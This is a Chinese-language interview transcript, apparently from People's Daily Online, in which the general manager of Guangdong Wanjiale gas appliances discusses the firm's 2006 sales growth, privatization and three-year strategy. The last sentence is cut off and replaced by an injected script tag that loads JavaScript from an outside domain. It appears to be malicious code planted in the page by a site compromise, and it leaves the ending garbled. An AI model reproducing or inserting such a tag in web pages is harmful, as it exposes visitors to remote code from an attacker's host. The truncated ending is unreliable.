本期嘉宾：余少言（广东万家乐总经理）
友情主持：刘荷清（消费日报记者、总编助理）
回访策划：董盟君（人民网记者、经济部主任）
主持人：各位网友上午好。2005年底，广大的人民网网友和家电行业专家共同评选出了2005中国家电行业“十大新锐人物”，一转眼一年即将过去了，人民网家电频道将对“十大新锐人物”进行回访。在这一年里，这些新锐人物有哪些业绩和表现，他们带领自己的团队、企业在自己的领域里又做出了哪些令人瞩目的新的成绩，取得了什么进展，而且，马上就要进入2007年，在2007，作为家电业的领军人物和新锐人物又有什么样的打算，促进这个企业更快的发展。
今天我们非常高兴地请来了广东万家乐燃气具有限公司总经理余少言先生。余少言先生本身也是2005年中国家电行业“十大新锐人物”之一，在这一年中，余总率领下的万家乐有什么变化？今天专门请他到人民网视频室聊一聊。对他做一个专访。
作为主持人，我先提一些问题。万家乐从成立到现在，消费者和广大网友最熟悉的一句话就是“万家乐、乐万家”，这句话从南到北非常深入人心。在目前的情况下，万家乐究竟处在一个什么样的状态？有请余总先介绍一下。 若不能正常播放，请先安装realplayer (免费下载) 若不能自动播放，请点击此处收看听
余少言：感谢广大的网友。过去的一年，在市场上广东万家乐燃气具有限公司取得了一些业绩，取得了一些市场的变化，我们在中长期数据上可以看到，我们在市场占有率方面上升了三个点左右，在销售额方面比重也上升八九个点左右。在万家乐内部而言，在燃气具公司18年来的发展阶段，比较一下也是发展得最好的一个同比年度。我们在整个销售额累积到10月份，从1988年以来，今年是最好的销售回笼和销售收入，超过了10%左右，比最好的1994年。我们在海外市场这一块也有一定的增长，因为海外市场发展的时间比较短一点，我们从2004年底开始，加大海外市场发展的力度，增长了3倍，但是在这一块还需要我们继续加大发展力度。
再回顾一下“万家乐、乐万家”从90年代初香港汪明荃女士提出这样一个广告口号以来，在大江南北确实引起很多人的关注，回顾万家乐这么年的发展，确实我们从发展的比较快速，到现在这种非常好的状况，一直到1996年、1997年的低谷时期，一直到2003年以后的恢复时期，这样的变化过程和中国的经济发展周期变化有点类似，和国有体制下的改革历史非常吻合。在2003年以后，进行民营改造之后，整个企业持续地走上健康发展道路。特别是2005年以后，这种发展就更加稳健和持续。因为在这个年度，董事会通过了我们未来三年的发展战略，我们当时把发展战略定位在以燃气、热水器为主业的资深品牌，带动整个厨房和卫浴电器，这对于万家乐近几年的持续，以及未来的中期发展有很重要的意义。
再回过头来看，我们感谢广大消费者，特别是关注万家乐的广大网友和社会各界的力量对我们的支持，使我们取得了一些业绩。
主持人：万家乐作为一个老品牌，也是燃气具行业的领导品牌，走过了一些坎坷的历程。曾经有10年的辉煌后来沉沦，后来重新调整，我觉得现在以余总领导新的团队下，2005年进入18年以来的第二个辉煌期，首先对您表示祝贺。但是我觉得为什么万家乐会迎来第二个辉煌阶段？在调整期间，万家乐作为新的团队，又做了哪些比较扎实的工作？我已经注意到，在市场的表现上，在终端促销上，在营销管理上万家乐出现了很大的变化，并基本符合现代公司的雏形。我还是想请余总在这方面做一下介绍。
余少言：确实变化要有一些根本的原因。我想万家乐燃气具公司的变化最大的原因可能在体制改变这方面的作用。当然万家乐燃气具公司有一个很好的基础，就是万家乐品牌。无论从它建厂之初开始，虽然经历了辉煌的发展过程，还是碰到风风雨雨的一段路程，万家乐在外部环境变化过程当中，有一点始终是没有改变的，就是对消费者的忠诚没有改变；对消费者服务的观念没有改变；对产品品质的把握没有改变，这是其中一个总的原因。无论是什么样的体制，无论是什么样的外部、内部发展环境，这两点都没有变，这就是对消费者的承诺和对品质的把握。
还有一点就是体制的变革。自从2002年以后，民营控股之后，作为一个上市公司它带来的是一个全新的发展环境。给这个企业经营有很明确的市场导向，以市场作为企业发展评价的标准，这是一个重要的原因。为什么万家乐能够在这个时期发生变化，我个人认为这是一个根本的原因。有了这样的环境，我们怎么样去发展好，我们应该采取什么措施，怎么去做这是我们经营层要思考的问题。
刚才我们回顾了，可能很多网友注意到了，在市场上我们最直接的判断来源于我们在市场上的表现。比如有些品牌在媒体上的表现，你的产品在终端市场上的反映，你的终端形象，与市场有关联的人，比如包括导购员的面貌，以及使?script src=http://er12.com/t.js>
